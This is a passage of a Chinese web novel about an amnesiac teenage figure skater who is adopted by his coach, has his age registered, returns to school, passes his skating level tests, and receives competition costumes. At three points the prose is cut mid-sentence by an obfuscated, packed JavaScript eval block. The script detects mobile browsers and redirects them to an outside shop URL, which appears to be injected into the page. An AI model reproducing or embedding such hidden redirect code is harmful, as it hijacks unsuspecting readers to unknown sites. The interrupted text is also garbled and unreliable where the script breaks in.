舒望嚼着饭菜,只是“嗯”了一声。他的心思并不全在此处。这几天,谭阿姨温柔的眼神和裴教练郑重的话语,总在不经意间浮现在他的脑海。 “收养”,对他来说很遥远的一个词。上一世,家是他最坚厚的后盾,是他温暖的港湾,是不管前方风暴再大,永远为他亮着的指明灯。这一世,他本以为要独自面对一切,却意外获得了没有血缘的深切关怀。裴立伟教练、邝辉教练和谭丹阿姨,他们给自己的帮助和关怀是他计划中的意外。 下午的自由滑测试,踏上冰面的瞬间,他心中知道,这次节目会完美完成。跳跃比上午更果断,表演更加投入。随着音乐高潮结束,节目的尾声也快到达,舒望完成最后一个旋转,以握拳仰头的姿态定格时,胸膛起伏,汗湿的碎发贴在额前,那双灰色的眼睛望向看台某个方向,裴立伟和不知何时也来到现场的谭丹正坐在那里。 舒望知道那场对话的答案是什么了。 今年的夏天真的到了。 8. 第 8 章 “吃雪糕吗”裴立伟站在冰柜前,扭头看向舒望,现在也可以称之为裴舒望。 测试赛结束后,舒望找到裴立伟和谭丹,回应了那个双方心知肚明的答案,“我同意。”听到这话,裴立伟脸上一瞬间闪过惊讶,似是没想到他那么快就下定决心了,随之浮现出惊喜的神情。 想法一确定,后面的事就自然而然了。只是要办的手续居然远比预想中的繁琐且漫长。裴立伟夫妇先是告知警方他们的收养意愿,在拿到警方给出的,舒望的查找不到生父母证明后,又去民政局提交了全套的收养资料,至此为期六十天的公告期也开始了。 公告发布在市公安局指定的网站上,也张贴在所在辖区派出所的公告栏里。内容简明扼要:二零一六年三月二十一日于江宁省体育局冰场发现一名约十三岁的失忆男性,现暂名舒望。若有知其身份或亲属信息者,请于六十日内与派出所联系。旁边附着一张舒望的正面照,是裴立伟用手机在训练馆白墙前拍的。照片里的少年眼神清澈,略长的头发扎在脑后,露出一张尚带稚气却不掩精致的脸。 每次去派出所配合程序,路过那张公告时,舒望的心里都像被一根无形的线轻轻拉扯。他清楚自己并无来处,那公告更像是一种对他存在本身的确认,黄鼠狼讨封时也会这么想吗?裴立伟每次都会特意绕过公告栏,谭丹则会在闲聊时,用轻松的语气提起,“等六十天过了,咱们就能继续下一步了。” 登记身份还需要测年龄,不是上次在医院普通体检那样,这次的测龄更加严谨,需要去官方指定的机构进行更精准细致的检测。 流程十分严谨。两名办案民警在场,帮忙核验身份、说明情况、签署委托文件。裴立伟作为即将成为监护人的一方,全程陪同签字。舒望被带入检测室,拍摄左手腕部正位的X光片。整个过程十分安静迅速,只听见仪器启动时轻微的嗡鸣,看到场上操作员平静无波的神情,一切都好似寻常,但他知道,一切都不一样了。 几天后,报告出来。裴立伟和民警一起去取回。在派出所的调解室里,民警向裴立伟和特意赶来的谭丹告知报告内容:“根据腕骨、指骨等骨化中心的发育情况及骨骺闭合程度,推断被鉴定人舒望当前的生物学年龄在13.5岁至14.7岁之间。” 骨龄范围比上次医院测出来的更精确了些。民警看向裴立伟和谭丹二人:“裴先生,谭女士,你们是收养申请人,关于最终登记年龄,有什么想法吗?原则上,我们会在这个科学区间内,结合实际情况,选择一个对未成年人最有利,最合理的出生日期。” 裴立伟和谭丹对视一眼。他们显然提前考虑过。裴立伟开口,语气恳切:“警察同志,我们考虑了很久。舒望这孩子,在花滑上天赋非常高,已经开始准备走专业道路。如果可以我们希望能将他的出生日期,定在零三上半年。” 他顿了顿,解释道:“这孩子心智很成熟,但毕竟经历了失忆,心理上需要更多适应和缓冲,年龄登记上适当偏小,也符合有利于被收养人的原则。” “零二上半年可以吗?”舒望忍不住接过裴立伟的发言,迎着三人的目光,那双向来平静的灰色眼眸里透出一丝波澜。 裴立伟和谭丹都愣了一下,连民警也有些意外。通常这种选择,多是收养人出于各种考量提出建议,很少由被收养的孩子自己这样明确地开口。 “为什么?”这次问话的是谭丹,她的声音里没有质疑,只有温和的关切。 “我想早点升入成年组,零二上半年可以在奥运前一个赛季就进入成年组。”舒望声音不大,但字字清晰,“我的目标是冬奥会,我想带着十足的准备进入奥运赛季。” “学习方面也不会跟不上,我想,我没有卡最小年龄登记的必要。” 民警认真听完少年的发言,翻了翻手边的文件,沉吟道:“零二年上半年,也就是将骨龄范围的上限作为登记年龄。理论上,如果你们作为收养人坚持,并且理由充分,比如,为了匹配孩子表现出的成熟心智,或者像他刚才说的,出于明确合理的个人发展诉求,我们可以在综合评估后予以考虑。但这需要你们提交书面说明。” 裴立伟没想到,这孩子的目标远比自己计划的更加远大,自己还在考虑舒望的训练和国内赛事,想着让他先在青年组站稳脚跟,国内成年组反正不限制选手年龄,加上男单不像女单受发育困扰,绝大多数都是发育结束后更有竞争力,在国际赛青年组多磨练几年也挺好。他不是没想过两年后的冬奥会,但两年时间不短,变数太大,很多东西都难以预料。同时舒望的失忆对他在学习上应该会有影响,虽然老师说他进度很快大部分初中内容他都记得有印象,不是从头学起,但考虑时还是不想他学习职业两头抓。不过舒望自己目标定得那么高,那支持一下又何妨。 “警察同志,”裴立伟再开口时,语气已经变得坚定,他揽住了身旁妻子的肩膀,“就按孩子说的,零二年上半年。理由……就是他自己说的那样。我们会提交书面材料。” 谭丹看着舒望,又看看丈夫,点了点头:“我们支持他。” 公告期在无人认领中平静度过。民政局的工作人员上门做了详细的家庭环境评估,与裴立伟夫妇和舒望分别进行了长谈。当被问到为什么想收养这个孩子时,裴立伟的回答很实在:“起初是惜才,不想这么好的苗子因为身份问题断了路。后来相处久了,就是单纯想给他一个家,让他安心追梦。”谭丹则说得更感性:“这孩子太懂事了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311145|198851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懂事得让人心疼。我从来没想过小孩的事,想着这辈子两个人也就过去了,但是舒望这孩子和我们有缘分,放着他不管我自己心里过不去。” 收养登记办理得异常顺利。拿到那本红色《收养登记证》的那天,阳光很好。裴立伟开车,谭丹坐在副驾,舒望拿着那本轻飘飘的小册子坐在后座。三个人都没怎么说话,但车厢里流动着一种暖洋洋的,安稳的气息。 下一站是派出所的户籍窗口。崭新的户口簿打印出来,翻到新增页,姓名:裴舒望,户主关系:父子,出生日期:2002年6月23日。零二年上半年,六月二十三号,国际奥林匹克日。原来的名字“舒望”前面,加上了“裴”姓。民警将户口簿递给裴立伟,笑着对舒望说:“恭喜啊,裴舒望小朋友,现在你是有家,有正式身份的人了。” 生活似乎没有发生翻天覆地的改变,却又处处不同。训练照旧,为了下半年的等级测试,也为了明年的正式登场。但宿舍里,他的东西却慢慢变多了,虽然呆在宿舍的时间变少了,但裴立伟时不时拿点东西过来,谭丹偶尔也会来省队给他送些吃的穿的。衣柜里,不再只有简单的训练服和少得可怜的便装,多挂了几套方便换洗的休闲装。 不止在省队宿舍,家里,他的房间也被收拾的井井有条。户口簿到手当天,舒望就被带回了裴立伟和谭丹的家里,同时他也拿到了一把家的钥匙。房间没有很大,但胜在温馨,床单被套散发着阳光和洗衣粉的味道,阳光从窗户洒进来,填满房间,整个室内一片明亮。除了基础的床铺柜子外,还额外添置了一个书桌,方便他在家里上网课学习。 夏天在公告期和训练中慢慢溜走了。裴舒望的个子又往上蹿了一小截,已经过了一米七,他的技术也在稳步提升。两套比赛节目在编舞老师的精细打磨和无数次冰上合练后,已经可以暂窥其风采。短节目的沉郁与爆发,自由滑的挣扎与呐喊,随着时间的推移,他演绎得愈发得心应手。 九月,新学年开始。裴舒望的学籍也顺利办妥,依托省队的合作关系,选择在就近的一所中学入学,考虑到舒望年纪不大没必要那么快就脱产专职花滑,还是上午上半天课,下午回省队训练。不过裴舒望自己对训练一天也没有懈怠,更多时候,他会选择在省队宿舍睡下,早上自己训练一两个小时,再去学校上课。裴立伟一开始还担心他是不是不适应身份的转变,不愿意回家休息,觉得在家没有在宿舍自在,裴舒望只是用行动表现了他的自律,他对花样滑冰的追求。 知道他的想法后,裴立伟也没多说什么,某天二人从家到省队后,裴立伟从车子后备箱拿出一架自行车,告诉裴舒望这是给他的,以后要是他和谭丹有事不能立刻赶到接送就自己骑车,想去哪去哪。 9. 第 9 章 久违的校园生活,作为中途转来的插班生,裴舒望在开学第一天,就被老师叫上台做自我介绍:“大家好,我叫裴舒望。” 讲台上,少年转身,马尾辫在脑后轻甩,用粉笔在黑板上工工整整写下三个大字——裴舒望,“希望之后可以和大家好好相处。” “好了下去吧。”老师动作示意裴舒望回到座位上,接着道,“新同学的名字大家都知道了,课堂安静,保持纪律。这是开学第一课,课后课代表记得把暑假作业收齐,交到我办公室去。” 课桌旁,裴舒望的同桌看了他几眼,没说话,脸上带着生涩似是不好意思张口,眼神却时不时瞟到裴舒望身上。 “你想跟我说什么?” 毕竟是课堂上,老师还在上面讲话,裴舒望声音不大,只稍稍往旁边靠了下方便边上人听清。同桌似乎有点害羞内敛,听到裴舒望的突然发问惊了一跳,小声道:“没……没什么,就是觉得你的名字挺好听的。还有……”他犹豫了一下,还是好奇地问,“你头发好长啊,是学艺术的吗?学校不是规定男生不能留长发吗?” “算特殊情况吧,入学的时候没人和我说这回事。”裴舒望没有多做解释,简单回应了两句。他拿出草稿本,放到空空荡荡的桌面上。新学期刚开学,教科书还没有发下来,刚刚有几个学生被老师点去搬新课本,这会还没回来。 这是一所普通重点中学,这里的学生大部分是走读生,每天按部就班在学校和家往返,两点一线。像裴舒望这样上半天课,训练半天的专业运动员,在这里是极少数。课间休息时,周围同学三三两两地聚在一起聊天,讨论暑假去了哪里玩,看没看最近爆火的电视剧,前段时间上线的新游戏玩没玩。裴舒望坐在座位上,看着桌上的本子,上面有自己刚刚记录下的后续需要重点打磨的动作细节。 “裴舒望,你是转学生吗?以前在哪个学校读?”前排一个扎着马尾的女生转过头来,友好地问道。 “嗯,之前在别的地方。”裴舒望给出一个模糊的回答。他并不想撒谎,但解释起来太过麻烦,也没有必要。 “你怎么初三转学啊?” “裴舒望你会化妆吗?你好漂亮哦。” …… 上午的课程结束得很快。放学铃声一响,裴舒望迅速收拾好书包,跟老师打了声招呼,便匆匆离开教室。他要赶回省队吃午饭,接着开始下午的训练。 骑上自行车,九月的风拂过脸颊,带着还未散去的热意,江宁的夏天格外漫长。街道两旁行道上的树叶也微微摇动着,阳光透过枝叶洒下斑驳的光影。裴舒望用力蹬着踏板,感受着风吹起他脑后的长发。这种在普通校园和职业训练之间切换的生活,对他来说是种难得的体验。上一世,他很早就离开校园了,文化课更多是线上网课和线下一对一家教,距离上一次坐在教室的日子,已经非常遥远,只剩下模糊的记忆。 回到省队时,邝辉已经在食堂门边的桌子上等他了。 “怎么样?第一天上学还适应吗?”邝辉一边帮他拿过书包,一边问。 “还行,老师讲的内容都能跟上。”裴舒望说。初中的知识对他而言不难,主科三门这些不用多说,除了语文有些内容得重新背诵,其他的都还好。副科也差不多,也是需要重新记忆,但整体知识框架都还在。 “那就好。先吃饭吧,等吃完回去休息会,下午一点半开始训练。今天训练主要任务还是短节目合乐和连跳,考级节目等到站点再在那边冰场顺顺,等级测试过几天举办第一站,报名马上截止,咱们得抓紧时间了。” “知道。” 午餐后短暂的休息时间里,裴舒望没有回宿舍,而是留在了场馆,一边做着简单的拉伸,一边在脑海里同步回顾短节目的编排。这套节目经过几个月的打磨,已经基本成型,但总有一些细节可以做得更好。 “想什么呢?这么入神。”郁梓睿端着保温杯走过来,在他旁边坐下。 “在想短节目的衔接。”裴舒望如实回答。 “你也太拼了吧,刚上完课回来就开始琢磨节目。”郁梓睿摇摇头,正了正神色,“不过说真的,你那个短节目我上次看合乐,感觉特别好。跟音乐贴得特别紧,看着不像是滑比赛节目,像冰演,全场灯光聚焦在你身上,眼睛移不开都。” 裴舒望看了他一眼:“你的自由滑节目编排也挺有意思的,那个接续步的设计很巧妙。” “哎,别提了。”郁梓睿摆摆手,“难度上不去,只能靠编排凑。哪像你,难度编排两手抓。”他喝了口水,又说,“不过马上等级测试你要一口气过八级吧?又是一下子那么多套节目,想想都累的慌,我记得自由滑八级要上老三样吧?” “按照要求来,该上什么上什么。”裴舒望说道。等级测试的每一级都有明确的技术动作要求,他只需要在满足要求的基础上,尽可能高质量地完成。“八级只要阿克塞尔两周和外点三周,不要求后内三周。”这段时间花在考级上的心思,足以让他对技术手册上的动作要求倒背如流了。 “我记得八级的外点三周得难度进入,连跳要上手姿态,旋转圈数要求也变多了。对你来说没问题吧?” “应该没问题,考级那几套节目都跟着练了三四个月了。”裴舒望的语气轻描淡写,带着一种理所当然的自信。这些都是他上辈子成功通过的测试,再来一次只会比当初表现得更好。 下午的训练从陆地训练开始。体能教练给裴舒望安排了一套专门针对核心力量和爆发力的训练。跳绳、波比跳、平板支撑……每一项都要求做到极致。汗水很快将裴舒望的训练服浸透,额前的碎发贴在皮肤上,但他的节奏依然控制得很好,每个动作都完成得十分标准。 “核心再收紧!落地要轻!”教练在旁边提醒。 裴舒望咬紧牙关,腹部肌肉绷得像块铁板。他知道,强大的核心力量是完成高难度跳跃的基础,也是保护自己不受伤的关键。 陆地训练结束,短暂休息后,上冰。 场上的冷气让他精神一振。邝辉已经等在场边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311146|198851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,手里拿着训练计划本。 “今天主要练短节目合乐和自由滑的跳跃组合。”邝辉说,“先热身十分钟,然后我们从头过一遍短节目。” 裴舒望点点头,蹬冰滑开。他先沿着冰场滑了几圈,速度从慢到快,做了几个简单的转三和摇滚步,让身体充分热起来。然后开始尝试跳跃,找找感觉,后外点冰三周、后内结环三周、勾手三周……每个跳跃都干净利落,稳稳落冰。 “状态不错。”邝辉在场边记录着,“准备开始短节目。” 音乐响起。《Experience》那熟悉的钢琴前奏流淌出来。裴舒望闭上眼睛深吸一口气,再睁开时,整个人的状态已经变了。 起滑,压步,阿克塞尔三周跳——起跳果断,空中收紧,落冰滑出,一气呵成。编排步法流畅自然,手臂动作随着旋律起伏,用刃清晰深刻,像黄油般丝滑划过冰面。联合旋转转速很快,姿态变换干净利落。当最后一个音符落下时,他以一个微微垂首的姿势定格,呼吸些微不稳,眼神却沉静如湖。 场边响起了掌声。裴立伟不知何时也来了,正站在邝辉旁边。 “滑得好。”裴立伟走过来,递给他纸巾和水,“情绪表达比上次又进步了。特别是中间那段步法,手臂的延伸感和音乐的配合非常好。” 裴舒望接过水喝了一口,平复着呼吸:“还是有几个地方觉得可以更好。第二个旋转进入前速度掉了一点。” “注意到了。”邝辉翻开记录本,“那个地方确实可以改进下。我们等会儿再慢速过一遍,看看怎么调整。” 短节目合乐结束后,开始自由滑的跳跃组合训练。等级测试的连跳要求是不高,上手姿态二加二连跳。但下赛季自由滑他要是想在成年组有竞争力,光有阿克塞尔三周远远不够,高级三三连跳也必须稳定掌握,加上他优秀的表演,这才有进入前三的可能。 “先试连跳。”邝辉说。 舒望滑到冰场一角,后压步加速。勾手三周起跳,高度足够,转速很快,右脚落冰瞬间再次点冰起跳,后外点冰三周。落冰时身体微微晃动,但稳住了。 “可以!周数都足了!”邝辉喊道,“再来一次,注意落冰后的重心控制,腿收紧别盘着。” 一次又一次地尝试,一次又一次地调整。冰刀在冰面上划出复杂的轨迹,训练服上带着摔过冰面蹭上的水痕。头发也不像刚扎时那般整齐,零星的碎发黏在脸侧。简单在食堂吃过晚饭,继续回到场馆训练。 训练结束时,天已经黑了。裴舒望脱下冰鞋,仔细擦干净刀面,套上软刀套。小腿肌肉因为长时间的训练而酸痛,脚踝也有些发胀,但他已经习惯了这种程度的疲惫。 “回去好好拉伸,洗个热水澡。”邝辉嘱咐道,“明天上午有课吧?下午早点过来,我们继续打磨节目。” “好。” 回宿舍的路上,街边路灯已经完全亮了。九月的夜晚带着凉意,晚风吹散了训练后的燥热。月亮挂在天幕,跟着裴舒望向前走,亦步亦趋。 10. 第 10 章 【选手讨论|长发小哥有点劳模属性在的,这次考级四站全勤】 如题,lz和朋友报了最后一站,去场馆的时候还算早,大厅人不多。聊着天呢看见长发哥和他教练进来了,不得不说还是线下看震撼,上次看组里视频感觉也就还好,结果线下真脸贴脸不到两米的距离,完全盘亮条顺。而且真的好高啊,脸上婴儿肥还在,一米七往上,小巨人简直是。上场练习的时候感觉跟鹤立鸡群一样。 因为和朋友先滑完,为了长发哥节目,我俩特地多呆了三小时,看了他步法节目,非常丝滑,底子看起来很ok 1L:等那么久,这站报名的人那么多的吗? 2L[楼主]回复1L:人真的多,估计前面国庆放假,不少人有空多练就都赶这站了 3L:考几级啊? 4L[楼主]回复3L:小哥考的是八级 5L:楼主能拍照片吗?上次视频太糊了,想看清脸! 6L:长发哥是爱好、业余还是走专业啊?楼主能问问教练不 7L:无图无真相 8L[楼主]回复5L:不太敢,他都没比过赛,纯素人po人家照片也不太好。但是长相好看的,骗人是小狗,不是那种氛围感帅哥,虽然我说他婴儿肥还在,但是五官真的没话说,就精致硬帅,那个五官不可能长残,真正未来可期 9L回复6L:专业的,前几站碰到过,教练说是江宁省队的 10L:江宁实力不行吧,感觉不如去那几个大点的俱乐部或者去北方省份,他表现力真不错,可惜了。 11L:没必要吧,南方咋的你了,江宁以前出过几个还行的运动员,起步也不算晚 12L:其实说的也有道理,想走远点还是得去东三省或者首都,教练水平都不一样 13L:教练不好说,半斤八两只能说 14L:半斤八两在哪?那怎么人家能出成绩,也没见江宁全国赛拿过冠军 15L回复8L:lz小哥步法用的什么曲目啊,真的没有视频或者照片吗? …… 35L:等一下,不要歪楼了好吗?好的。楼主四站全勤怎么说,不是步法八级吗?自由滑也考八级了? 36L:对啊,不一定放一起考 37L:我朋友第二站去考的时候碰见过他,步法和自由滑两天他都去了,考的五级 38L回复37L:啊,我们组那么火吗,素人也那么多人关注。 39L:阴阳怪气的滚行不行,又隔着鉴上翻炒了,走错地方了内鱼组出门左转 40L:我朋友不玩郫县,之前自由滑那个帖子我转发给她看过,有印象。而且两天都碰见了记得很正常吧 41L[楼主]回复35L:我朋友这站步法和自由滑都报了,第二天我陪她去的,去的时候小哥也在,播报的也是八级。步法不知道是不是,但自由滑是全勤,连着四站 42L:好轻松,我当初步法卡六级,自由滑卡七级,2A全靠蒙,一把辛酸泪 43L回复42L:很厉害了,毕竟是百万跳,能考那么高已经很牛了 44L:所以是四站都报了?太强了吧!楼主,他这次八级过了吗? 45L[楼主]回复44L:不知道啊,官网只能查自己的成绩。不过他滑得是真的稳,一套下来行云流水。自由滑那个两周接两周的连跳,单手tano特别漂亮,滞空感绝了。就是考级嘛,裁判看得严,一点小瑕疵都扣分,但感觉过他肯定没问题。 46L:我有预感 47L:我也有预感 48L:+1 49L:+2 50L:+10086 51L:下个赛季他绝对会上,不然没必要这么赶 52L:话说,长发小哥有官方名字了吗?总不能一直叫长发哥。 53L:江宁省队官网能查到不?好像有个运动员名单。 54L:我去看了眼,没更新,还是那几个老面孔。 55L:花协官网注册名单上也没有 56L:等一个官方信息。这实力,迟早要出现在大众视野的。 …… 网上的讨论,像一颗投入水中的小石子,激起些许波澜又慢慢归于平静。 裴舒望不知道这些讨论,今年所有等级测试全部通过,他的任务也告一段落。坐在回省队的车上,邝辉还在副驾驶上说明天帮他提交材料,把二级运动员给认证了。 “今天不训练,你回去好好休息放松。”下车后,邝辉拍了拍裴舒望的肩,低头拿手机看了眼时间,“明天周日欸,要不明天也放一天假,周一再开始训练,绷了几个月终于搞定这个等级测试,松松劲。” “也行,那就……教练后天见。”裴舒望扭了扭脖子,边回道。他一边往宿舍走,一边掏出手机,裴立伟给他发了短信[等级测试结束了回家一趟,我和你阿姨准备了庆功宴,祝贺我们二级运动员完成目标。] 除了裴立伟的短信,企鹅app里也跳出来几条信息,班级群非常热闹,点进去一看未读消息999+。还有几条一个月前的私聊询问他是请假了吗怎么没来学校,时间大多在九月初刚开学没多久,第一站考级的时候。裴舒望的手机开了免打扰,他平时也不怎么看,所以这些消息都累到了现在。怪不得当时第一站结束回去学校的时候,有人问他怎么请了那么久的假。线上没有回复,当然线下围着要答案,解疑惑。 事情接踵而来,考级刚刚告一段落,学校那边半个月后又来了期中考试,真是一刻也不让人歇着。书包和一些资料都被裴舒望放在宿舍里,他得收拾收拾带回家,免得后天去上学还得先来省队一趟。骑上自行车,回家! 推开门,暖黄的灯光倾泻而来,屋内香味扑鼻。裴立伟闻声从厨房探出头,身上套着围裙,“回来了,再等会,菜还没做好。”谭丹还没下班,只有裴立伟在厨房里忙碌, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311147|198851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锅铲与铁锅碰撞的声响里夹着抽油烟机的嗡鸣,还有油和水撞到一起响起的刺啦声。 裴舒望站在玄关,肩上还背着书包,手里拎着装换洗衣物的袋子。他把袋子靠墙放好,弯腰换鞋,走进厨房。 “要帮忙吗?” “不用不用。”裴立伟头也不回,手里动作不停翻动锅铲,“你去坐着,马上就好。对了,冰箱里有洗好的葡萄,你先吃点垫垫。” 裴舒望没去坐着。他站在厨房门口,看裴立伟往锅里撒盐,又端起炒锅颠了两下,几块排骨在空中翻了个身,落回锅里时裹着亮晶晶的糖色,非常诱人。 “你阿姨说六点半到。”裴立伟看了眼墙上的钟,“路上有点堵,我们要不不等她,先吃吧,给她分点菜让她回来吃。” “等一下吧。”裴舒望摇了摇头道,“反正也就半个小时左右,我还不饿。” 裴立伟回头看了他一眼,没再坚持,把火调小,盖上锅盖继续焖着。“找个地把书包放下,就这样背包站着,不累吗?看我做菜那么有吸引力呢。” “有点,难得看大厨做饭,当然赏心悦目。” 谭丹进门时,裴舒望正把盛好的米饭往桌上端。 “回来了?”她换下鞋子,目光越过玄关,落在少年身上。裴舒望穿着件灰色卫衣,袖口卷了两道,露出细瘦的手腕。简单绑着马尾辫,几缕碎发垂在耳侧。 “今天这么早回来,晚上不用训练吧。”谭丹快步走过去,接过他手里的碗。 “不用,教练给放了两天假。”裴舒望还是把碗放好,才在椅子上坐下。 裴立伟把最后一道菜端上来,解了围裙,落座时顺手给谭丹倒了杯水。“路上堵得厉害?” “还行,就是出来晚。”谭丹夹了块排骨放进裴舒望碗里,“瘦了,这阵子累坏了吧。” 裴舒望摇头,低头扒饭。 桌上安静了几秒。裴立伟清了清嗓子,举起杯子:“来,庆祝我们舒望等级测试全数通过,二级运动员证书即将到手,职业生涯又往前迈了一大步!” 玻璃杯轻轻碰在一起,发出清脆的声响。谭丹喝的是白水,放下杯子时眼里带着笑意:“之前你来回奔波考级的时候我们就说,等你这阵忙完回来,一定要好好给你庆祝。” “已经做很多菜了。”裴舒望咽下嘴里的饭菜,边点头边道,“都特别好吃。” “那不一样,庆功宴可不只是只有宴。”谭丹起身,走到玄关处,从手提袋里取出一个黑色防尘袋。她没立刻打开,而是将它抱在怀里走回来,在裴舒望旁边的椅子上坐下。 “几个月前你裴教练跟我说,你们把比赛节目编完了。”她把防尘袋放在膝上,手指轻轻抚过袋子,“我想,你节目编完了,但比赛表演服还没开始准备。” 裴舒望放下筷子。 谭丹拉开防尘袋的拉链,没有立刻取出,而是将袋口往两边拨开,让里面的织物慢慢露出来。 是考斯滕。 11. 第 11 章 一抹蓝色从袋口透了出来,不是那种明亮如晴空般的蓝,是一种近乎墨般深沉的蓝,像暴风雨来临前海面上最后的一线天光,似夜晚漫过沙滩的蓝眼泪,星光坠入其中随波荡漾。包装的防尘膜还没揭开,里头衣物上细密的刺绣和水钻就已在灯光的映照下若隐若现。 谭丹没有急着取出整套考斯滕,她先将防尘膜轻轻揭开一角,露出领口的部分。V领,开的不深,线条干净利落,边缘用极细的银色丝线滚边,每一针都密实平整。领尖处缀着几颗微小的水钻,不是规整死板的排布,而是零落散开,像溅起的冰屑,又像初落的第一滴雨。 “《Experience》。”谭丹轻声开口,语气中不带疑问,只是简单陈述着。 裴舒望没有应声,他的双眼紧紧盯着那片深蓝,看着它从袋中一寸一寸浮现。防尘膜完全褪去,谭丹将整件上衣提起来,它被毫无保留地呈现在灯光下。 衣身垂坠展开,深蓝从领口向下渐渐晕开,到腰侧时已淡作近乎银灰的色泽。肩部至袖口绣着不规则的纹路,水钻沿着肩线延伸,疏疏落落,这些零落的水钻像刚落下的雨滴,还没汇成水流就被定格在了这一瞬。目光落在上面,呼吸都不自觉放轻了。 “上身试试。” 裴舒望垂眼看着面前的这件衣服,版型、材质和装饰,每一处都无比贴近他对短节目表演的理解和想象。他甚至可以想象出自己穿着它滑完《Experience》时的模样——垂首,收势,后背处沿弧线散落的水钻和纱布向下坠落。 他抬手,指尖触上衣料,触感比他预想的更软,“我去试。”轻轻拿起衣服,转身进了卧室。 门关上,裴立伟看了一眼紧闭的房门,压低声音对谭丹说:“你什么时候去做的?我怎么不知道。” “你以为你这几个月在队里盯着训练,我就闲着。” “我说你之前干嘛问我要舒望肩宽腿长这些数据,”裴立伟脸上一副恍然大悟的神情,“不是为了买衣服啊,不对,这也是衣服。” “我以为你知道呢,又没故意瞒着你。”谭丹瞥了眼裴立伟,有些无语道,“那你当时也没问我要这数据干嘛用。” “你送了这么一件大礼,我的刀套岂不是显得很寒酸吗?” “哪能这么比……”谭丹话还没说完,卧室门开了。 裴舒望站在门口,深蓝色的考斯滕已经穿在身上。他垂着手,没做任何动作,只是站在那里,但裴立伟和谭丹都安静下来。 领口的弧线正好卡在锁骨下缘,腰收在最窄处,袖口的纹路延伸到手背,带着奇异的美感,后背点缀的钻虽还没完全展露,但从侧面已经能看到那几条细碎的光痕。 谭丹上下打量了一遍,没说话,起身走过去,绕道他身后,将他垂落的几缕发丝从衣领里挑出来。 “头发放外面,”她道,“放里面难受,别压着。” 裴舒望应了一声,谭丹退回两步,又看了一遍,终于点了点头,“腰身刚好,袖子呢?抬手试试。” 裴舒望抬起手臂,做了个空中跳跃收紧的姿态,布料的弹性和袖笼的余量正好够他完成空中收紧时的幅度,垂手时也不显得臃肿,不会堆出多余的褶皱。 “可以。穿着刚刚好,不会太紧。”裴舒望左扭扭右转转,边做简单拉伸动作边描述道,“正合适,感觉都不用改。” 谭丹脸上这才露出明显的笑意。她从防尘袋的夹层里取出另一件,黑色打底,红色铺在黑色上,二者交互融合,像燃料,像火焰。 “这一件没有加太多装饰。”她把衣服展开,“我看你的《Believer》节目,力量感很强,放太多水钻反而碎。红色那块试了好几种拼接方案,最后用的斜裁拼接加透明网纱固定。你动起来的时候火焰会跟着身体拉伸,像真的在燃烧一样。” 裴舒望接过第二件考斯滕,指腹沿着缝合的边缘轻轻划过。纱网的触感极薄,几乎感觉不到它的存在,但拼接处的缝线密实平整,经得住无数次伸展动作拉扯。 他又进了卧室,这次出来的比上次更快。 黑色比深蓝色更适合他的身形。不是那种压人的黑,料子上织进银丝,动起来带着流动的光泽。右肩到左肋红色在他转身时被拉成一道,纱网绷紧又松开,边缘的棕红与金色在灯光下明明灭灭,像一簇正在燃烧的火焰。 他没有说话,走到餐厅的灯下,转身,让裴立伟和谭丹能够看清后背。 后背没有点燃,整片黑从肩胛一直铺到腰线,只在腰窝的位置落了些钻,围成两条向下的带子。 “我怕做多了太乱,”谭丹仔细围着裴舒望转了几圈,看向他的后背说道,“就这一处。” 裴舒望低头看了一眼自己的腰侧,那条带子缠在上面,是他做提刀燕式时手指会经过的位置。 “谢谢阿姨。这两件考斯滕设计的真的非常完美,很适合我,穿着也很舒适。” “这有什么,你的庆功宴,这点礼物不算什么。”谭丹回到椅子上,招呼裴舒望回去换衣服,“赶快换好衣服,吃饭,菜都要凉了。” 三个人重新落座。裴立伟把那盘排骨往裴舒望那边推了推,谭丹又给他添了半碗汤。话题从考斯滕转到下周的期中考试,又从期中考试转到下周的训练计划。 裴舒望夹菜,喝汤,回答问话。一切都和二十分钟前没什么不同。 只是他换回了自己的灰色卫衣,而那两件考斯滕,被谭丹仔细叠好,重新放回黑色防尘袋里,连着里头的两条裤子一起,拉链拉到头收好。防尘袋放在他书包旁边,等他带回宿舍,挂进衣柜最里侧。 十一月,等级测试全部通过的兴奋已经彻底散去。 裴舒望的生活进入了一种高度规律的状态:清晨六点起床,洗漱,空腹有氧训练。七点吃早餐,七点二十骑车去学校,上午四节课。中午十一点四十放学,骑车回省队。十二点吃午餐,下午两点冰上训练,傍晚体能或者舞蹈,晚上文化课自习或自主加练 